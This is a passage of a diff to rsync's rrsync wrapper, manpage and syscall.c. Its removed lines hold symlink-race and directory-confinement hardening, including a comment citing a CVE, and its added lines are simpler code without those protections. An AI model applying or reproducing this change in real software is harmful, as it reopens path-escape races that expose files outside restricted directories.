safe way to\n-                    # proceed -- refuse rather than pass the name through.\n-                    if not HAVE_PROC_SELF_FD:\n-                        die('receiver option path does not exist:', orig_arg)\n-                    if opt in CREATE_DIR_MODE:\n-                        if not leaf or leaf in ('.', '..'):\n-                            die('bad receiver option path:', orig_arg)\n-                        arg = create_pinned_dir(real_arg, orig_arg,\n-                                                CREATE_DIR_MODE[opt])\n-                    else:\n-                        arg = pinned_empty_dir(orig_arg)\n-                elif HAVE_PROC_SELF_FD and leaf and leaf not in ('.', '..'):\n-                    try:\n-                        pfd = os.open(os.path.dirname(real_arg) or '/',\n-                                      os.O_RDONLY | os.O_NOFOLLOW | os.O_DIRECTORY)\n-                    except OSError:\n-                        pfd = -1\n-                    if pfd >= 0:\n-                        try:\n-                            ppath = os.readlink('/proc/self/fd/%d' % pfd)\n-                        except OSError as e:\n-                            os.close(pfd)\n-                            die('post-pin readlink failed (race?):',\n-                                orig_arg, e.strerror)\n-                        # The pinned parent must be the tree root or under it.\n-                        if ppath != args.dir and not ppath.startswith(args.dir_slash):\n-                            os.close(pfd)\n-                            die('post-pin path escaped tree (race?):',\n-                                orig_arg, ppath)\n-                        os.set_inheritable(pfd, True)\n-                        pinned_fds.append(pfd)\n-                        arg = '/proc/self/fd/%d/%s' % (pfd, leaf)\n-            except OSError as e:\n-                # ELOOP or anything else is a race signal: realpath\n-                # validated the path moments ago, but the open just\n-                # failed -- something flipped between the check and\n-                # the pin (typically a symlink-flip on the leaf).\n-                die('post-realpath open failed (race detected):',\n-                    orig_arg, e.strerror)\n-            if am_sender and opt == 'arg':\n-                logical = arg\n-                if is_absolute_arg:\n-                    if logical == args.dir:\n-                        logical = ''\n-                    elif logical.startswith(args.dir_slash):\n-                        logical = logical[args.dir_slash_len:]\n-            if fd is None and sender_leaf_unopened:\n-                # A leaf we deliberately never opened is still spelled beneath\n-                # a pinned directory: leaving the bare name for rsync to\n-                # re-resolve puts every component back in play, which is\n-                # CVE-2026-53783 -- measured at 3 leaks in 83 raced pulls with\n-                # a dangling-symlink leaf whose parent was flipped to point\n-                # outside the tree.  It costs nothing here: the directory is\n-                # opened O_PATH, so the special file itself is never opened\n-                # and a FIFO cannot block, and whatever the leaf turns into\n-                # afterwards is reached only from beneath the held one.\n-                #\n-                # WHICH directory is sender_pinned_arg()'s decision, and it is\n-                # the immediate parent for every shape EXCEPT a --relative\n-                # argument with no client \"/./\": there the whole argument is\n-                # the transmitted name, so only the anchor it starts from can\n-                # be pinned and the components below it stay raceable.  That\n-                # --relative limit predates this and is stated in NEWS.\n-                if HAVE_PROC_SELF_FD:\n-                    pinned = sender_pinned_arg(None, logical, orig_arg,\n-                                               arg_has_trailing_slash,\n-                                               arg_has_trailing_slash_dot)\n-                    if pinned != LEAF_PIN_UNUSABLE:\n-                        arg = pinned\n-            elif fd is not None:\n-                # The inode-pin trick (verify + route the exec'd rsync's open via\n-                # the /proc/self/fd magic link) is Linux-only.  Where /proc/self/fd\n-                # does not exist at all (the BSDs, Solaris, macOS, Cygwin, or a\n-                # /proc-less namespace) we cannot pin -- fall through to the\n-                # unhardened path (close the fd, keep the realpath-validated arg)\n-                # per the design note above.  But where /proc/self/fd DOES exist\n-                # (Linux), a readlink failure is an anomaly (sandbox/seccomp), not\n-                # a no-proc platform: fail CLOSED rather than silently unharden.\n-                if not HAVE_PROC_SELF_FD:\n-                    os.close(fd)            # no /proc/self/fd: run unpinned\n-                else:\n-                    try:\n-                        pinned_path = os.readlink('/proc/self/fd/%d' % fd)\n-                    except OSError as e:\n-                        os.close(fd)\n-                        die('post-pin readlink failed (race?):',\n-                            orig_arg, e.strerror)\n-                    # The pinned inode must live under args.dir_slash (or BE\n-                    # args.dir).  Catches a parent-component flip that landed\n-                    # inside an in-tree path but pointed outside.\n-                    if (not pinned_path.startswith(args.dir_slash)\n-                        and pinned_path != args.dir):\n-                        os.close(fd)\n-                        die('post-pin path escaped tree (race?):',\n-                            orig_arg, pinned_path)\n-                    if am_sender and opt == 'arg':\n-                        pinned = sender_pinned_arg(fd, logical, orig_arg,\n-                                                   arg_has_trailing_slash,\n-                                                   arg_has_trailing_slash_dot)\n-                    elif opt == 'arg':\n-                        pinned = receiver_pinned_arg(fd, real_arg, orig_arg)\n-                    else:\n-                        pinned = KEEP_LEAF_PIN\n-                    if pinned == KEEP_LEAF_PIN:\n-                        os.set_inheritable(fd, True)\n-                        pinned_fds.append(fd)\n-                        arg = '/proc/self/fd/%d' % fd\n-                    elif pinned == LEAF_PIN_UNUSABLE:\n-                        # Nothing to spell beneath a held directory (a bare \".\"\n-                        # or the tree root): keep the realpath-validated name,\n-                        # which is what 3.4.4 passes.\n-                        os.close(fd)\n-                    else:\n-                        os.close(fd)    # only needed to validate the pin\n-                        arg = pinned\n+                die('unsafe arg:', orig_arg, [arg, real_arg])\n             if arg_has_trailing_slash:\n                 arg += '/'\n             elif arg_has_trailing_slash_dot:\n                 arg += '/.'\n-            if is_absolute_arg and arg == args.dir:\n-                arg = '.'\n-            elif opt == 'arg' and arg.startswith(args.dir_slash):\n+            if opt == 'arg' and arg.startswith(args.dir_slash):\n                 arg = arg[args.dir_slash_len:]\n                 if arg == '':\n                     arg = '.'\n@@ -983,20 +340,13 @@ def validated_arg(opt, arg, typ=3, wild=False):\n \n \n def lock_or_die(dirname):\n-    import fcntl, errno\n+    import fcntl\n     global lock_handle\n     lock_handle = os.open(dirname, os.O_RDONLY)\n     try:\n         fcntl.flock(lock_handle, fcntl.LOCK_EX | fcntl.LOCK_NB)\n-    except OSError as e:\n-        if e.errno in (errno.EWOULDBLOCK, errno.EAGAIN, errno.EACCES):\n-            die('Another instance of rrsync is already accessing this directory.')\n-        # flock() is unavailable on this fd/platform -- e.g. Solaris returns\n-        # EBADF for flock() on a directory fd. The single-run lock is a\n-        # best-effort convenience (cf. -no-lock), not a security control, so\n-        # proceed without it rather than abort every transfer.\n-        os.close(lock_handle)\n-        lock_handle = None\n+    except:\n+        die('Another instance of rrsync is already accessing this directory.')\n \n \n def die(*msg):\n@@ -1019,7 +369,6 @@ if __name__ == '__main__':\n     only_group.add_argument('-ro', action='store_true', help=\"Allow only reading from the DIR. Implies -no-del and -no-lock.\")\n     only_group.add_argument('-wo', action='store_true', help=\"Allow only writing to the DIR.\")\n     arg_parser.add_argument('-munge', action='store_true', help=\"Enable rsync's --munge-links on the server side.\")\n-    arg_parser.add_argument('-absolute', action='store_true', help=\"Allow transfer args to use absolute server paths under DIR.\")\n     arg_parser.add_argument('-no-del', action='store_true', help=\"Disable rsync's --delete* and --remove* options.\")\n     arg_parser.add_argument('-no-lock', action='store_true', help=\"Avoid the single-run (per-user) lock check.\")\n     arg_parser.add_argument('-no-overwrite', action='store_true', help=\"Prevent overwriting existing files by enforcing --ignore-existing\")\ndiff --git a/support/rrsync.1.md b/support/rrsync.1.md\nindex 2ab0fd1..09b2f28 100644\n--- a/support/rrsync.1.md\n+++ b/support/rrsync.1.md\n@@ -5,7 +5,7 @@ rrsync - a script to setup restricted rsync users via ssh logins\n ## SYNOPSIS\n \n ```\n-rrsync [-ro|-wo] [-munge] [-absolute] [-no-del] [-no-lock] [-no-overwrite] DIR\n+rrsync [-ro|-wo] [-munge] [-no-del] [-no-lock] [-no-overwrite]  DIR\n ```\n \n The single non-option argument specifies the restricted _DIR_ to use. It can be\n@@ -77,12 +77,6 @@ The remainder of this manpage is dedicated to using the rrsync script.\n \n     Enable rsync's [`--munge-links`](rsync.1#opt) on the server side.\n \n-0. `-absolute`\n-\n-    Allow file-transfer arguments to name the restricted directory using its\n-    absolute server path. For example, with `rrsync -absolute /path/to/root`,\n-    the transfer arg `/path/to/root/dir1` is accepted as an alias for `dir1`.\n-\n 0.  `-no-del`\n \n     Disable rsync's `--delete*` and `--remove*` options.\n@@ -96,16 +90,6 @@ The remainder of this manpage is dedicated to using the rrsync script.\n     Enforce `--ignore-existing` on the server. Prevents overwriting existing\n     files when the server is the receiver.\n \n-    Because `--ignore-existing` protects only the file being transferred, this\n-    also refuses the options that can reach a *different* existing file in the\n-    restricted dir: `--log-file`, `--partial-dir`, `--delay-updates`,\n-    `--delay-symlinks` (which creates its symlinks at the end of the transfer,\n-    replacing whatever has appeared at that name since the check), and backup\n-    mode (`-b`, `--backup-dir`, whose published backup replaces whatever\n-    already occupies the backup name). Resumable uploads with an explicit\n-    `--partial-dir`, `--delay-updates`, `--delay-symlinks`, and server-side\n-    logging are therefore unavailable under this option.\n-\n 0.  `-help`, `-h`\n \n     Output this help message and exit.\n@@ -129,10 +113,6 @@ uses when running the server command.  A few extra convenience options are also\n included to help it to interact with BackupPC and accept some convenient user\n overrides.\n \n-The [`--nice`](rsync.1#opt--nice) option is limited to local CPU nice 19, idle\n-I/O priority or both.  Other values could raise the server process priority and\n-are rejected.\n-\n The script (or a copy of it) can be manually edited if you want it to customize\n the option handling.\n \ndiff --git a/support/rsync-no-vanished b/support/rsync-no-vanished\nindex 892c90b..b31a5d2 100755\n--- a/support/rsync-no-vanished\n+++ b/support/rsync-no-vanished\n@@ -2,7 +2,7 @@\n \n REAL_RSYNC=/usr/bin/rsync\n IGNOREEXIT=24\n-IGNOREOUT='^((file|directory) has vanished: |rsync warning: some files vanished before they could be transferred)'\n+IGNOREOUT='^(file has vanished: |rsync warning: some files vanished before they could be transferred)'\n \n # If someone installs this as \"rsync\", make sure we don't affect a server run.\n for arg in \"${@}\"; do\ndiff --git a/syscall.c b/syscall.c\nindex dd41da8..34a9bba 100644\n--- a/syscall.c\n+++ b/syscall.c\n@@ -22,18 +22,8 @@\n \n #include \"rsync.h\"\n \n-/* Exercise the pre-*at() portability tier on modern build hosts. */\n-#ifdef RSYNC_TEST_NO_AT_FDCWD\n-#undef AT_FDCWD\n-#undef AT_SYMLINK_NOFOLLOW\n-#undef HAVE_LINKAT\n-#undef HAVE_OPENAT2\n-#undef HAVE_UTIMENSAT\n-#undef O_RESOLVE_BENEATH\n-#endif\n-\n #if !defined MKNOD_CREATES_SOCKETS && defined HAVE_SYS_UN_H\n-#include <sys/un.h>\t/* for the socket+bind() fallback in do_mknod() */\n+#include <sys/un.h>\n #endif\n #ifdef HAVE_SYS_ATTR_H\n #include <sys/attr.h>\n@@ -43,10 +33,6 @@\n #include <sys/syscall.h>\n #endif\n \n-#ifdef __linux__\n-#include <sys/syscall.h>\t/* SYS_fchmodat2 / SYS_fallocate raw-syscall wrappers */\n-#endif\n-\n #include \"ifuncs.h\"\n \n extern int dry_run;\n@@ -56,756 +42,11 @@ extern int read_only;\n extern int list_only;\n extern int inplace;\n extern int preallocate_files;\n-extern int sparse_files;\n extern int preserve_perms;\n extern int preserve_executability;\n extern int open_noatime;\n extern int copy_links;\n extern int copy_unsafe_links;\n-extern int copy_dirlinks;\n-extern int am_daemon;\n-extern int am_chrooted;\n-extern int insecure_links;\n-extern int module_id;\n-extern unsigned int module_dirlen;\n-extern char *module_dir;\n-extern int module_dirfd;\t/* daemon: served module root pinned by identity, or -1 */\n-extern char *files_from;\n-extern char *confine_root;\t/* --confine-root, or NULL; see confinement_root() */\n-extern unsigned int confine_rootlen;\n-extern char curr_dir[MAXPATHLEN];\t/* defined below; fwd-declared for the seed */\n-extern int operator_path_resolve;\t/* defined below; fwd-declared for the exclude check */\n-extern int filesfrom_owner_walk_override;\t/* defined below; used by files-from implied dirs */\n-\n-/* A directory fd used only for pathname traversal, fchdir(), or as *at()\n- * authority does not need read permission on Linux.  Keep the portable\n- * O_RDONLY fallback for systems without O_PATH. */\n-static int directory_traverse_flags(void)\n-{\n-#if defined O_PATH && defined O_DIRECTORY\n-\treturn O_PATH | O_DIRECTORY;\n-#elif defined O_DIRECTORY\n-\treturn O_RDONLY | O_DIRECTORY;\n-#else\n-\treturn O_RDONLY;\n-#endif\n-}\n-\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-/* Open a trusted absolute anchor directory as an owned dirfd.  When the anchor is\n- * the served module root and the daemon pinned it by identity (module_dirfd), dup\n- * that fd rather than re-resolving the absolute path with openat(AT_FDCWD, ...) --\n- * which re-traverses the module's ancestors as the dropped-privilege module uid\n- * and EACCESes when the module sits under a non-traversable parent (a 0700 home).\n- * Functionally identical (same inode), just privilege-drop-safe.  Gated like its\n- * callers (the secure resolver and dpc_dir_fd both require these three). */\n-int open_anchor_dirfd(const char *path)\n-{\n-\tif (module_dirfd >= 0 && am_daemon && module_dir && strcmp(path, module_dir) == 0)\n-\t\treturn dup(module_dirfd);\n-\treturn openat(AT_FDCWD, path, directory_traverse_flags());\n-}\n-#endif\n-\n-/* Single gate for whether path resolution must be hardened against\n- * parent-component symlink races (TOCTOU).  Used by the do_*_at()/do_*_atfd()\n- * wrappers and the receiver's secure-open/secure-mkstemp choices.  Hardens\n- * every non-chrooted receiver (a chroot is its own confinement); the sender is\n- * excluded so it still follows -L/--copy-links symlinks.  A daemon chroot with\n- * an inner-module /./ boundary still needs these checks because the kernel\n- * chroot confines the outer path, not the inner module. */\n-int secure_relpath_active(void)\n-{\n-\t/* The \"insecure links\" / --insecure-links opt-out restores the legacy\n-\t * follow-any-symlink behaviour uniformly, so it disables the secure\n-\t * resolver on the RECEIVER side too (not just the sender enumeration that\n-\t * already checks symlink_optout_allowed()).  Without this an opted-out\n-\t * module still confined receiver writes/stats through a pre-existing\n-\t * in-module symlink -- failing to match the pre-3.4.3 behaviour the opt-out\n-\t * promises (documented in rsyncd.conf(5) \"munge symlinks\"/\"insecure links\"). */\n-\tif (symlink_optout_allowed())\n-\t\treturn 0;\n-\tif (am_daemon && am_chrooted && module_dirlen)\n-\t\treturn 1;\n-\treturn !am_chrooted && (am_daemon || !am_sender);\n-}\n-\n-/* Whether the operator-supplied-path symlink confinement is opted out.  For a\n- * non-daemon transfer this is the local --insecure-links flag.  For a daemon it\n- * is governed ONLY by the module's \"insecure links\" config (lp_insecure_links)\n- * -- never by a peer-supplied --insecure-links (a client cannot disable a\n- * daemon's confinement; the daemon also drops a connection that sends it).  So a\n- * forwarded flag is structurally inert here. */\n-int symlink_optout_allowed(void)\n-{\n-\tif (am_daemon)\n-\t\treturn module_id >= 0 && lp_insecure_links(module_id);\n-\treturn insecure_links;\n-}\n-\n-/* A files-from entry is peer-selected, even when its source base was supplied\n- * by the operator.  Keep its ownership walk inside --confine-root when one is\n- * active. */\n-int filesfrom_owner_walk_active(void)\n-{\n-\treturn !am_daemon && am_sender && files_from\n-\t    && !copy_unsafe_links && !copy_dirlinks && !insecure_links\n-\t    && (!copy_links || filesfrom_owner_walk_override);\n-}\n-\n-/* The root an operator/peer-supplied path must stay under, or NULL when nothing\n- * is confined.  A daemon has the served module; a server launched by a wrapper\n- * with its own restricted directory (rrsync) gets one from --confine-root.\n- *\n- * A daemon never honours --confine-root: module_dir is the boundary there, and\n- * the option arrives in a peer-supplied argv, so obeying it could only loosen\n- * the module. */\n-static const char *confinement_root(unsigned int *lenp)\n-{\n-\tif (am_daemon) {\n-\t\t*lenp = module_dirlen;\n-\t\treturn module_dir;\n-\t}\n-\t*lenp = confine_rootlen;\n-\treturn confine_root;\n-}\n-\n-/* Split a recognised fd-pin prefix off `p`, returning the tail -- \"\" for the\n- * pin directory itself, otherwise a string starting with '/'.  NULL when `p`\n- * is not in an fd-pin namespace. */\n-static const char *fd_pin_tail(const char *p)\n-{\n-    const char *s;\n-\n-    /* Group all /dev/ checks under a single prefix comparison */\n-    if (strncmp(p, \"/dev/\", 5) == 0) {\n-        s = p + 5;\n-        if (strncmp(s, \"fd\", 2) == 0) {\n-            s += 2;\n-            return (*s == '\\0' || *s == '/') ? s : NULL;\n-        }\n-        if (strncmp(s, \"std\", 3) == 0) {\n-            s += 3;\n-            if (strncmp(s, \"in\", 3) == 0)\n-                return \"/0\";\n-            if (strncmp(s, \"out\", 4) == 0)\n-                return \"/1\";\n-            if (strncmp(s, \"err\", 4) == 0)\n-                return \"/2\";\n-        }\n-        return NULL; /* Instantly reject any other /dev/ path */\n-    }\n-\n-    if (strncmp(p, \"/proc/\", 6) != 0)\n-        return NULL;\n-    s = p + 6;\n-    if (strncmp(s, \"self/\", 5) == 0)    /* \"/proc/self/...\" */\n-        s += 4;\n-    else {                  /* \"/proc/<pid>/...\" */\n-        const char *d = s;\n-        while (*s >= '0' && *s <= '9')\n-            s++;\n-        if (s == d || *s != '/')\n-            return NULL;\n-    }\n-    if (strncmp(s, \"/fd\", 3) != 0)\n-        return NULL;\n-    s += 3;\n-    return (*s == '\\0' || *s == '/') ? s : NULL;\n-}\n-\n-/* An EXACT pin entry, such as \"/proc/self/fd/7\" or \"/dev/fd/7\", whose target is\n- * what confinement must judge.  rrsync also writes a pinned parent as\n- * \".../fd/7/<leaf>\", but the walk resolves the magic link itself and checks the\n- * components past it, so only the bare entry is resolved here.  Requiring all\n- * digits keeps a planted name like \".../fd/outside-secret\" out. */\n-static int is_exact_fd_pin(const char *p)\n-{\n-\tconst char *tail = fd_pin_tail(p);\n-\n-\tif (!tail || *tail != '/')\n-\t\treturn 0;\n-\tfor (++tail; *tail >= '0' && *tail <= '9'; tail++) {}\n-\treturn *tail == '\\0' && tail[-1] != '/';\n-}\n-\n-/* Refuse (return 1) when the ABSOLUTE resolved path `abspath` lands OUTSIDE the\n- * confinement root, for an operator/peer-supplied path that must stay inside it\n- * (--partial-dir/--backup-dir/alt-basis/merge files or files-from entries).  An\n- * in-tree symlink owned by uid 0 / the euid is followed by design, so it can\n- * redirect the resolved target outside the root; this catches that escape.\n- * `final` distinguishes a completed target from an ancestor crossed on the way\n- * to it.\n- *\n- * This is ROOT confinement only.  The daemon exclude/filter list is a name-based\n- * visibility filter, NOT a physical-path boundary: a symlink whose own name is\n- * not excluded may still resolve into an excluded IN-tree subtree, exactly as in\n- * stock rsync.  The defense for a writable module is `munge symlinks` (see\n- * rsyncd.conf(5)), not this walk. */\n-static int abspath_outside_confinement(const char *abspath, int final)\n-{\n-\tunsigned int rootlen;\n-\tconst char *root = confinement_root(&rootlen);\n-\tchar pinned[MAXPATHLEN];\n-\tint enforce;\n-\n-\tif (!root || !abspath)\n-\t\treturn 0;\n-\tif (rootlen <= 1)\t\t\t/* root is \"/\": nothing is outside */\n-\t\treturn 0;\n-\tenforce = operator_path_resolve || filesfrom_owner_walk_active();\n-\t/* An fd pin (rrsync rewrites a validated option path to /proc/self/fd/N so\n-\t * no later symlink can redirect it) is spelled outside the root by\n-\t * construction.  Judge it by what it points AT rather than by its spelling,\n-\t * so a pin is neither wrongly refused nor blindly trusted.  A pin we cannot\n-\t * resolve to an absolute path is refused, not waved through: an unreadable\n-\t * pin is exactly the case where we cannot say where the open would land. */\n-\tif (!am_daemon) {\n-\t\tconst char *tail = fd_pin_tail(abspath);\n-\t\tif (tail && !*tail)\n-\t\t\treturn 0;\t\t/* the pin directory: transit, opens nothing */\n-\t\tif (is_exact_fd_pin(abspath)) {\n-\t\t\tssize_t n = readlink(abspath, pinned, sizeof pinned - 1);\n-\t\t\tif (n <= 0 || pinned[0] != '/')\n-\t\t\t\treturn enforce ? 1 : 0;\n-\t\t\tpinned[n] = '\\0';\n-\t\t\tabspath = pinned;\n-\t\t}\n-\t}\n-\tif (strncmp(abspath, root, rootlen) == 0\n-\t && (abspath[rootlen] == '\\0' || abspath[rootlen] == '/'))\n-\t\treturn 0;\t\t\t/* inside: name-based exclude is not a boundary */\n-\t/* Not under the root.  An ABSOLUTE walk passes through the root's ancestors\n-\t * (\"/\", \"/home\", ...) on the way down -- those are not \"outside\", just\n-\t * not-yet-arrived, so allow them.  A path that has truly DIVERGED is\n-\t * outside: refuse it for an operator/peer path that must stay in the tree\n-\t * (operator_path_resolve or filesfrom_owner_walk_active()); other opens\n-\t * (--log-file, --*-from, lock/motd)\n-\t * may legitimately live elsewhere.  The --insecure-links / \"insecure links\n-\t * = yes\" opt-out short-circuits before we get here. */\n-\tsize_t alen = strlen(abspath);\n-\tif (alen == 0\n-\t || (strncmp(abspath, root, alen) == 0 && root[alen] == '/'))\n-\t\treturn enforce && final ? 1 : 0;\t/* an ancestor is valid only while descending */\n-\treturn enforce ? 1 : 0;\n-}\n-\n-/* Check a completed path made from a tracked directory and one leaf. */\n-static int check_abspath_leaf(const char *base, const char *leaf)\n-{\n-\tchar leafabs[MAXPATHLEN];\n-\tsize_t baselen;\n-\tint n;\n-\n-\tif (!base || !*base) {\n-\t\tif (abspath_outside_confinement(base, 1)) {\n-\t\t\terrno = ELOOP;\n-\t\t\treturn -1;\n-\t\t}\n-\t\treturn 0;\n-\t}\n-\tbaselen = strlen(base);\n-\tn = snprintf(leafabs, sizeof leafabs, \"%s%s%s\", base,\n-\t\t     base[baselen - 1] == '/' ? \"\" : \"/\", leaf);\n-\tif (n < 0 || (size_t)n >= sizeof leafabs) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tif (abspath_outside_confinement(leafabs, 1)) {\n-\t\terrno = ELOOP;\n-\t\treturn -1;\n-\t}\n-\treturn 0;\n-}\n-\n-/* Advance the tracked absolute path `abspath` by one resolved component,\n- * normalizing \".\" and \"..\" exactly as openat() does so the module-confinement\n- * check (abspath_outside_confinement) sees the REAL resolved target.  -1/\n- * ENAMETOOLONG on overflow. */\n-static int abspath_step(char *abspath, size_t cap, const char *comp, size_t comp_len)\n-{\n-\tif (comp_len == 1 && comp[0] == '.')\n-\t\treturn 0;\t\t\t\t/* \".\" -- no movement */\n-\tif (comp_len == 2 && comp[0] == '.' && comp[1] == '.') {\n-\t\tchar *s = strrchr(abspath, '/');\t/* \"..\" -- pop a component */\n-\t\tif (s)\n-\t\t\t*s = '\\0';\n-\t\telse\n-\t\t\tabspath[0] = '\\0';\n-\t\treturn 0;\n-\t}\n-\tsize_t al = strlen(abspath);\n-\tsize_t off = (al > 0 && abspath[al-1] == '/') ? al : al + 1;\t/* no \"//\" */\n-\tif (off + comp_len >= cap) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tif (off != al)\n-\t\tabspath[al] = '/';\n-\tmemcpy(abspath + off, comp, comp_len + 1);\n-\treturn 0;\n-}\n-\n-/* Return the length of a //server/share root, or 0 when path is not a\n- * complete UNC path.  Kept platform-independent so the parser is testable on\n- * every build host; only Cygwin uses the result for path resolution. */\n-size_t unc_root_len(const char *path)\n-{\n-\tconst char *server_end, *share_end;\n-\n-\tif (!path || path[0] != '/' || path[1] != '/' || path[2] == '/')\n-\t\treturn 0;\n-\tserver_end = strchr(path + 2, '/');\n-\tif (!server_end || server_end == path + 2 || server_end[1] == '\\0'\n-\t || server_end[1] == '/')\n-\t\treturn 0;\n-\tshare_end = strchr(server_end + 1, '/');\n-\treturn share_end ? (size_t)(share_end - path) : strlen(path);\n-}\n-\n-#if defined __CYGWIN__ && defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-/* Pin an absolute path's root and remove it from remaining.  Cygwin's UNC\n- * namespace has a //server/share root which must not be collapsed into /. */\n-static int ona_open_absolute_root(char *remaining, char *abspath, size_t abspath_cap,\n-\t\t\t\t  int dir_traverse_flags)\n-{\n-\tsize_t root_len = unc_root_len(remaining);\n-\tint dfd;\n-\n-\tif (root_len) {\n-\t\tchar root[MAXPATHLEN];\n-\t\tchar *tail;\n-\n-\t\tif (root_len >= sizeof root) {\n-\t\t\terrno = ENAMETOOLONG;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tmemcpy(root, remaining, root_len);\n-\t\troot[root_len] = '\\0';\n-\t\tdfd = open(root, dir_traverse_flags);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tstrlcpy(abspath, root, abspath_cap);\n-\t\ttail = remaining + root_len;\n-\t\twhile (*tail == '/')\n-\t\t\ttail++;\n-\t\tmemmove(remaining, tail, strlen(tail) + 1);\n-\t\treturn dfd;\n-\t}\n-\n-\tdfd = open(\"/\", dir_traverse_flags);\n-\tif (dfd >= 0) {\n-\t\tchar *tail = remaining;\n-\t\tabspath[0] = '\\0';\n-\t\twhile (*tail == '/')\n-\t\t\ttail++;\n-\t\tmemmove(remaining, tail, strlen(tail) + 1);\n-\t}\n-\treturn dfd;\n-}\n-#endif\n-\n-/* Open an operator-supplied path, refusing to traverse any symlink (parent or\n- * leaf) not owned by uid 0 or our euid.  A trusted-owned symlink (e.g. root's\n- * /var/log -> /data/log) is still followed; an untrusted one fails ELOOP.\n- * Unlike plain O_NOFOLLOW this also defends a planted parent component\n- * (--log-file=$plant/log), not just a planted leaf.  Used for opens that may\n- * transit attacker-writable parents: --log-file, --password-file, --*-from,\n- * --read/write-batch, daemon motd/lock/early-input/--config.\n- *\n- * Walks component-by-component with fstatat(AT_SYMLINK_NOFOLLOW) +\n- * openat(O_NOFOLLOW), splicing a trusted symlink's target back into the path.\n- * Returns the fd, or -1 (errno ELOOP on the security refusal so callers can\n- * tell it apart).  Falls back to plain open() where openat/O_NOFOLLOW are\n- * unavailable. */\n-/* Core walk.  When out_abs is non-NULL and the path resolves to a directory\n- * (O_DIRECTORY), the resolved absolute path is copied there -- owner_walk_parent\n- * uses it to filter-check the (otherwise unchecked) leaf basename. */\n-static int ona_open(const char *path, int flags, mode_t mode, char *out_abs, size_t out_cap)\n-{\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-\tconst int dir_traverse_flags = directory_traverse_flags() | O_CLOEXEC;\n-\tif (!path || !*path) {\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-\n-\t/* Opted out (local --insecure-links, or a daemon module with \"insecure\n-\t * links = yes\"): restore the legacy symlink-following open. */\n-\tif (symlink_optout_allowed())\n-\t\treturn open(path, flags, mode);\n-\n-\tconst uid_t trusted_uid = geteuid();\n-\tint dfd = AT_FDCWD;\n-\tint dfd_owns = 0;\n-\n-\t/* Absolute path of the current dir, for the confinement refusal\n-\t * (abspath_outside_confinement).  A relative operator path starts at the\n-\t * daemon's cwd == the module root; an absolute one (or a followed absolute\n-\t * symlink target) restarts at \"/\". */\n-\tchar abspath[MAXPATHLEN] = {0};\n-\tif (am_daemon && module_dir && module_dir[0] == '/')\n-\t\tstrlcpy(abspath, module_dir, sizeof abspath);\t/* \"/\" for a path=/ module */\n-\telse if (confine_root) {\n-\t\t/* Unlike a daemon's, this cwd is not pinned to the root -- the receiver\n-\t\t * chdir's into the destination -- so it has to be read, not assumed.\n-\t\t * It must be the PHYSICAL cwd: curr_dir is the lexical name change_dir()\n-\t\t * was given, so after descending a trusted symlink the tracker sits at a\n-\t\t * different depth than the kernel, and a \"..\" that really escapes looks\n-\t\t * like it landed inside.\n-\t\t *\n-\t\t * Without it there is nothing to measure against, and an empty tracker\n-\t\t * does NOT deny by itself -- a leading \"..\" pops nothing and an empty\n-\t\t * path reads as an ancestor of the root -- so refuse the open instead. */\n-\t\tif (!getcwd(abspath, sizeof abspath))\n-\t\t\treturn -1;\n-\t}\n-\n-\t/* Tracker: 1 if we are genuinely walking from the system root,\n-     * 0 if we are walking a relative path where abspath_step will fake a '/' */\n-\tint is_anchored = (abspath[0] != '\\0');\n-\n-\t/* An fd pin (rrsync rewrites an option path to /proc/self/fd/N so no\n-\t * later symlink can redirect it) is spelled outside the root by\n-\t * construction, so the walk has to be allowed through /proc/self/fd to\n-\t * reach the magic link.  This only suspends the check for that prefix:\n-\t * following the link restarts the walk at its absolute target, and every\n-\t * component of THAT is checked, so a pin aimed outside is still refused. */\n-\tconst char *ptail = fd_pin_tail(path);\n-\tint pin_transit = !am_daemon && confine_root && ptail != NULL;\n-\n-\t/* Path-walk state. `remaining` is the unconsumed tail; we splice\n-\t * symlink targets back into it as we go. Sized 2x MAXPATHLEN so a\n-\t * one-level expansion can't immediately overflow; deeper chains\n-\t * fail with ENAMETOOLONG below. */\n-\tchar remaining[MAXPATHLEN * 2];\n-\tif (strlcpy(remaining, path, sizeof remaining) >= sizeof remaining) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\n-\t/* Absolute path: pin \"/\" as the starting dfd. */\n-\tif (remaining[0] == '/') {\n-#ifdef __CYGWIN__\n-\t\tdfd = ona_open_absolute_root(remaining, abspath, sizeof abspath,\n-\t\t\t\t\t     dir_traverse_flags);\n-#else\n-\t\tdfd = open(\"/\", dir_traverse_flags);\n-#endif\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tdfd_owns = 1;\n-#ifndef __CYGWIN__\n-\t\tabspath[0] = '\\0';\t\t\t/* now resolving from \"/\" */\n-\t\tchar *p = remaining;\n-\t\twhile (*p == '/') p++;\n-\t\tmemmove(remaining, p, strlen(p) + 1);\n-#endif\n-\t\tis_anchored = 1;\n-\t}\n-\n-\tint loops = 40;\t/* SYMLOOP_MAX-ish; breaks symlink cycles. Counts symlink\n-\t\t\t * expansions only (below), NOT path depth -- a deep but\n-\t\t\t * symlink-free path must resolve, not ELOOP. */\n-\tint retfd = -1;\n-\tint saved_errno = 0;\n-\n-\twhile (*remaining) {\n-\t\t/* Peel one component off the front of `remaining`. */\n-\t\tchar *slash = strchr(remaining, '/');\n-\t\tsize_t comp_len = slash ? (size_t)(slash - remaining) : strlen(remaining);\n-\t\tchar comp[MAXPATHLEN];\n-\t\tif (comp_len == 0 || comp_len >= sizeof comp) {\n-\t\t\tsaved_errno = comp_len == 0 ? EINVAL : ENAMETOOLONG;\n-\t\t\tgoto out;\n-\t\t}\n-\t\tmemcpy(comp, remaining, comp_len);\n-\t\tcomp[comp_len] = '\\0';\n-\t\tint is_last = (slash == NULL);\n-\n-\t\t/* Inspect this component without following symlinks. */\n-\t\tSTRUCT_STAT lst;\n-\t\tif (fstatat(dfd, comp, &lst, AT_SYMLINK_NOFOLLOW) < 0) {\n-\t\t\t/* The leaf may not exist yet 